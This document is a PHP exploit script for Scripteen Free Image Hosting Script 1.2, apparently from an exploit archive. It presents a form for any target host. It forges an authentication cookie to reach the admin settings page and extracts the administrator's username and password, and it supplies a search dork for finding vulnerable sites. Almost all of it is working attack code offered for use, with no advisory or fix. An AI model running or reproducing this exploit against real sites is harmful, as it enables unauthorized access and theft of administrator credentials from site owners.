Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit

<?php
     /*
     Coded By RMx - Liz0zim
     BiyoSecurity.Com & Coderx.org
     Ki zava Ki Zava :)
     Thanx : Crackers_Child - TR_IP - Volqan - All SQL Low3rz
     */
     error_reporting("E_ALL");
     ini_set("max_execution_time",0);
     ini_set("default_socket_timeout",5);
     $desen='|value="(.*)"|siU';
     function yolla($host,$paket)
     {
     global $veri;
     $ac=fsockopen(gethostbyname($host),80);
     if (!$ac) {
     echo 'Unable to connect to server '.$host.':80'; exit;//Bağlanamaz ise
     }
     fputs($ac,$paket);
     $veri="";
     while (!feof($ac)) {
     $veri.=fread($ac,1);
     }
     fclose($ac);
     }
     ?>
     <h2>Scripteen Free Image Hosting Script V1.2.* (cookie) Admin Password Grabber Exploit</h2>
     <p>Coded By RMx - Liz0ziM</p>
     <p>Web:<a href="http://www.biyosecurity.com" target="_blank">www.biyosecurity.com</a> </p>
     <p>Dork:"Powered by Scripteen Free Image Hosting Script V1.2"</p>
     <form method="POST" action="">
     <p>TARGET HOST:
     <input name="host" type="text" />
     Example:<strong>www.xxxx.com</strong></p>
     <p>TARGET PATH: <input name="klasor" type="text" />
     Example:<strong>/</strong> or <strong>/scriptpath/</strong> </p>
     <p><input name="yolla" type="submit" value="Send" /></p>
     </form><br />
     <? if($_POST[yolla]){
     $host=$_POST[host];
     $klasor=$_POST[klasor];
     $admin=$_POST[admin];
     $p=$klasor."admin/settings.php";
     echo '<font color="red"><b>Sending Exploit..</b></font><br>';
     $packet ="GET ".$p." HTTP/1.0\r\n";
     $packet.="Host: ".$host."\r\n";
     $packet.="Cookie: cookid=1\r\n";
     $packet.="Connection: Close\r\n\r\n";
     yolla($host,$packet);
     preg_match_all($desen,$veri,$cik);
     $ad=$cik[1][0];
     $sifre=$cik[1][1];
     if($ad AND $sifre){
     echo '
     <font color="green">Exploit succeeded...</font ><br>
     Admin Username:<b>'.$ad.'</b><br>
     Admin Password:<b>'.$sifre.'</b><br>';
     }
     else
     {
     echo '<font color="red">Exploit Failed !</font>';
     }
     }
     ?>